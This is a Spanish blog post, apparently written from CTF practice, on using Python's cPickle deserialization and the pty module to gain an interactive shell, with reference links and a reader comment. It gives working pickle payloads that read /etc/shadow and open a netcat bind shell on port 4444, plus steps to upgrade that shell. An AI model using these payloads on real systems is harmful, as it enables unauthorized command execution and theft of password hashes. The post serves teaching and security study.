Fui un incrédulo y me arrepiento … los CTF´s ayuda
y mucho.
Gracias a ellos, se puede aprender a aprovecharse
de ciertas librerías de Python para ganar una shell, más concretamente podemos
aprovecharnos de la librería cPickled y de la librería PTY.
La librería cPickled se usa para serializar y deserializar
estructuras de objetos, y se instala por defecto al instalar el entorno de
Python (Más información).
Pero su funcionalidad puede ser utilizada para ejecutar comandos del propio
sistema, entre otras cosas.
La ejecución de comandos del sistema es tan simple
como ejecutar en el entorno python la siguiente instrucción:
cPickle.loads(“c<librería>\n<función
de la librería>\n(S'<comando a ejecutar>'\ntR. '\ntR.”)
Y para muestra, unos botones
:
1.-
cPickle.loads("cos\nsystem\n(S'cat
/etc/shadow | head -n 5'\ntR.'\ntR.")
Es una forma de ejecutar comandos del sistema a través de Python
En este caso se buscan las contraseñas de un sistema Linux, pero debemos tener en cuenta el usuario que con
el que se ha ejecutado el intérprete de Python, y por lo tanto de sus
permisos, tal y como se muestra en el ejemplo de la siguiente imagen
2.-
cPickle.loads("cposix\nsystem\np0\n(S'netcat
-c '/bin/bash -i' -l -p 4444'\np1\ntp2\nRp3\n.")
Ejecución de la función: loads, de la librería cPickled
En este caso se busca montar una shell basada en
‘netcat’, que funcione de manera interactiva.
Conexión con la Shell montada
sobre el puerto 4444
Con este último ejemplo tenemos un inconveniente, y
es que hay ciertos comandos que no pueden ejecutarse correctamente debido a la
gestión de la salida por pantalla, incluso habiendo solicitado la interactividad.
Pongamos un ejemplo: tras conectarnos remotamente
al puerto 4444, intentamos saltar al puerto 22/TCP (SSH) de la misma máquina.
No se obtiene respuesta de ningún tipo, mientras
que si miramos en nuestro equipo (Shell donde se estaba trabajando con el
intérprete de Python) la respuesta/error aparecerá, informándonos de la falta
de interactividad.
Ejecución del comando: ssh
Respuesta/Error obtenido.
Este problemilla se puede resolver mediante la librería de python: PTY
Esta librería define las operaciones para manejar el concepto de pseudo-terminal: iniciar otro proceso y poder escribir/leer desde su terminal de control mediante programación (Más información), y se instala por defecto al instalar el entorno de Python.
IMPORTANTE: Esta librería sólo funciona bajo sistemas Linux.
Por lo tanto, para salir de un entorno Python y ganar una Shell que nos permita ejecutar comandos del sistema, sólo deberemos lanzar la siguiente instrucción:
Import pty; pty spawn (“/bin/bash”)
Ganamos una shell totalmente interactiva.
Como se puede observar, la petición del comando: “ssh root@127.0.0.1”, ya no nos dará el error: “Pseudo-terminal will not be allocated because stdin is not a terminal”, visto anteriormente.
Petición de comunicación con el puerto 22/TCP (SSH) tras ganar una shell totalmete interactiva
Hasta aquí todo perfecto, pero añadamos ahora como sugerencia, la posibilidad de usar la combinación de ambas librerías para abrir un shell remota, real y totalmente interactiva. Para ello debemos:
1.- Ejecutar en el entorno python: cPickle.loads("cposix\nsystem\np0\n(S'netcat -c '/bin/bash -i' -l -p 4444'\np1\ntp2\nRp3\n.")
2.- Conectarnos a través de: nc 127.0.0.1 4444
3.- Ejecutar: python –c “import pty; pty.spawn(‘/bin/bash’)”
4.- La imaginación al poder.
En cualquier caso …
Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.
ENLACES DE INTERES
En referencia a la librería cPickled:
• https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html
• https://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/
• https://blog.nelhage.com/2011/03/exploiting-pickle/ • https://lincolnloop.com/blog/playing-pickle-security/
• https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd
• https://gist.github.com/0xBADCA7/f4c700fcbb5fb8785c14
En referencia a otras maneras de conseguir una shell interactiva
• https://netsec.ws/?p=337
En referencia a la personalización de la shell interactiva conseguida
• https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2
Un artículo muy interesante.Muuy bien explicado gracias a las fotos.Un saludo
ResponderEliminar